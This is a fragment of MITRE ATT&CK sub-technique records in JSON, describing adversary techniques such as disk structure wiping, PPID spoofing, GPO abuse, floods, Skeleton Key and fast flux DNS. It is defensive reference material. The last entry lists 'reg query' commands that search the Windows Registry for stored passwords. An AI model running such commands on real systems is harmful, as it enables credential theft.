"description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
"meta": {
"external_id": "T1561.002",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Command: Command Execution",
"Drive: Drive Access",
"Drive: Drive Modification",
"Driver: Driver Load",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
"https://attack.mitre.org/techniques/T1561/002",
"https://docs.microsoft.com/sysinternals/downloads/sysmon",
"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
"https://www.symantec.com/connect/blogs/shamoon-attacks"
]
},
"related": [
{
"dest-uuid": "1988cc35-ced8-4dad-b2d1-7628488fa967",
"type": "subtechnique-of"
}
],
"uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9",
"value": "Disk Structure Wipe - T1561.002"
},
{
"description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
"meta": {
"external_id": "T1134.004",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Creation",
"Process: Process Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1134/004",
"https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/",
"https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/",
"https://blog.xpnsec.com/becoming-system/",
"https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags",
"https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works",
"https://www.countercept.com/blog/detecting-parent-pid-spoofing/",
"https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3"
]
},
"related": [
{
"dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
"type": "subtechnique-of"
}
],
"uuid": "93591901-3172-4e94-abf8-6034ab26f44a",
"value": "Parent PID Spoofing - T1134.004"
},
{
"description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n",
"meta": {
"external_id": "T1137.004",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1137/004",
"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
"https://github.com/sensepost/notruler",
"https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/"
]
},
"related": [
{
"dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
"type": "subtechnique-of"
}
],
"uuid": "bf147104-abf9-4221-95d1-e81585859441",
"value": "Outlook Home Page - T1137.004"
},
{
"description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",
"meta": {
"external_id": "T1591.003",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1591/003",
"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
]
},
"related": [
{
"dest-uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23",
"type": "subtechnique-of"
}
],
"uuid": "2339cf19-8f1e-48f7-8a91-0262ba547b6f",
"value": "Identify Business Tempo - T1591.003"
},
{
"description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",
"meta": {
"external_id": "T1484.001",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Creation",
"Active Directory: Active Directory Object Deletion",
"Active Directory: Active Directory Object Modification",
"Command: Command Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/",
"http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/",
"https://adsecurity.org/?p=2716",
"https://attack.mitre.org/techniques/T1484/001",
"https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/",
"https://wald0.com/?p=179",
"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf",
"https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/"
]
},
"related": [
{
"dest-uuid": "ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
"type": "subtechnique-of"
}
],
"uuid": "5d2be8b9-d24c-4e98-83bf-2f5f79477163",
"value": "Group Policy Modification - T1484.001"
},
{
"description": "An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).",
"meta": {
"external_id": "T1548.001",
"kill_chain": [
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"File: File Modification"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"http://man7.org/linux/man-pages/man2/setuid.2.html",
"https://attack.mitre.org/techniques/T1548/001",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
"related": [
{
"dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
"type": "subtechnique-of"
}
],
"uuid": "6831414d-bb70-42b7-8030-d4e06b2660c9",
"value": "Setuid and Setgid - T1548.001"
},
{
"description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)",
"meta": {
"external_id": "CAPEC-486",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Flow",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1498/001",
"https://capec.mitre.org/data/definitions/125.html",
"https://capec.mitre.org/data/definitions/486.html",
"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
"https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"
]
},
"related": [
{
"dest-uuid": "d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
"type": "subtechnique-of"
}
],
"uuid": "0bda01d5-4c1d-4062-8ee2-6872334383c3",
"value": "Direct Network Flood - T1498.001"
},
{
"description": "Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)",
"meta": {
"external_id": "CAPEC-482",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1499/001",
"https://capec.mitre.org/data/definitions/469.html",
"https://capec.mitre.org/data/definitions/482.html",
"https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
"https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/",
"https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html"
]
},
"related": [
{
"dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4",
"type": "subtechnique-of"
}
],
"uuid": "0df05477-c572-4ed6-88a9-47c581f548f7",
"value": "OS Exhaustion Flood - T1499.001"
},
{
"description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
"meta": {
"external_id": "T1556.001",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"File: File Modification",
"Logon Session: Logon Session Creation",
"Process: OS API Execution",
"Process: Process Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1556/001",
"https://technet.microsoft.com/en-us/library/dn487457.aspx",
"https://www.secureworks.com/research/skeleton-key-malware-analysis"
]
},
"related": [
{
"dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
"type": "subtechnique-of"
}
],
"uuid": "d4b96d2c-1032-4b22-9235-2b5b649d0605",
"value": "Domain Controller Authentication - T1556.001"
},
{
"description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"meta": {
"external_id": "T1565.001",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Deletion",
"File: File Modification"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1565/001",
"https://content.fireeye.com/apt/rpt-apt38",
"https://www.justice.gov/opa/press-release/file/1092091/download"
]
},
"related": [
{
"dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931",
"type": "subtechnique-of"
}
],
"uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292",
"value": "Stored Data Manipulation - T1565.001"
},
{
"description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
"meta": {
"external_id": "T1585.001",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Persona: Social Media"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf",
"https://attack.mitre.org/techniques/T1585/001",
"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
]
},
"related": [
{
"dest-uuid": "cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
"type": "subtechnique-of"
}
],
"uuid": "b1ccd744-3f78-4a0e-9bb2-2002057f7928",
"value": "Social Media Accounts - T1585.001"
},
{
"description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1595.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1595/001",
"https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
]
},
"related": [
{
"dest-uuid": "67073dde-d720-45ae-83da-b12d5e73ca3b",
"type": "subtechnique-of"
}
],
"uuid": "db8f5003-3b20-48f0-9b76-123e44208120",
"value": "Scanning IP Blocks - T1595.001"
},
{
"description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)",
"meta": {
"external_id": "T1559.001",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1559/001",
"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
"https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
]
},
"related": [
{
"dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d",
"type": "subtechnique-of"
}
],
"uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
"value": "Component Object Model - T1559.001"
},
{
"description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
"meta": {
"external_id": "T1586.001",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Persona: Social Media"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf",
"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/",
"https://attack.mitre.org/techniques/T1586/001",
"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
]
},
"related": [
{
"dest-uuid": "81033c3b-16a4-46e4-8fed-9b030dd03c4a",
"type": "subtechnique-of"
}
],
"uuid": "274770e0-2612-4ccf-a678-ef8e7bad365d",
"value": "Social Media Accounts - T1586.001"
},
{
"description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",
"meta": {
"external_id": "T1568.001",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1568/001",
"https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref",
"https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref",
"https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/"
]
},
"related": [
{
"dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b",
"type": "subtechnique-of"
}
],
"uuid": "29ba5a15-3b7b-4732-b817-65ea8f6468e6",
"value": "Fast Flux DNS - T1568.001"
},
{
"description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1597.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1597/001",
"https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/"
]
},
"related": [
{
"dest-uuid": "a51eb150-93b1-484b-a503-e51453b127a4",
"type": "subtechnique-of"
}
],
"uuid": "51e54974-a541-4fb6-a61b-0518e4c6de41",
"value": "Threat Intel Vendors - T1597.001"
},
{
"description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s",
"meta": {
"external_id": "T1552.002",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1552/002",
"https://pentestlab.blog/2017/04/19/stored-credentials/"
]
},
"related": [
{
"dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
"type": "subtechnique-of"
}
],
"uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580",
"value": "Credentials in Registry - T1552.002"
},
{
